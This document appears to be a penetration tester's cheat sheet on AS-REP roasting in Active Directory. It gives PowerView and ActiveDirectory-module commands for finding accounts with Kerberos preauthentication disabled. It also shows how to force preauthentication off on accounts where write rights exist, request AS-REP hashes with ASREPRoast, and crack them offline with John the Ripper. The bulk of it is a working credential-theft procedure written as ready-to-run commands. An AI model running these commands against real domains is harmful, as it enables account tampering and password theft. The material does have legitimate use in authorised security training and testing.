Targeted Kerberoasting - AS-REPs

Targeted Kerberoasting - AS-REPs

• If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline.

• With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be forced disabled as well.

• Kerberos is enabled by default and it is rare to find this.

• Requirements:

  • If we have enough permission over users or groups, we can disable DoesnotRequirePreAuth for the users.

  • If the Kerberos is already disabled

#Enumerating accounts with Kerberos Preauth disabled
#Using PowerView_dev:
import-module powerview_dev.ps1
Get-DomainUser -PreauthNotRequired -Verbose
 
 
#Force disable Kerberos Preauth:
import-module powerview_dev.ps1 
#We look for users who are going to be able to be edit because
#I am part of the RDP user. Whatever we find we the below command
#we can enable DoesnotRequirePreAuth and get the hash to crack offline:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
#Disable the DoesnotRequirePreAuth for a user
Set-DomainObject -Identity <usernametodisablehere> -XOR @{useraccountcontrol=4194304} –Verbose
#see if the account you disabled appears
Get-DomainUser -PreauthNotRequired -Verbose


#Using ActiveDirectory module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth


---------------------Abuse it---------------
#import-module
import-module ASREPRoast-master\ASREPRoast.ps1


#Request encrypted AS-REP for offline brute-force
Get-ASREPHash -UserName VPN1user -Verbose


#To enumerate all users with Kerberos preauth disabled and request a hash
Invoke-ASREPRoast -Verbose


Using bleeding-jumbo branch of John The Ripper, we can brute-force the hashes offline.
./john vpn1user.txt --wordlist=wordlist.txt

./john vpn1user.txt --wordlist=wordlist.txt

Get-DomainUser -PreauthNotRequired -Verbose

if any user has Does not RequirePreAuth, can be used for this attack

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}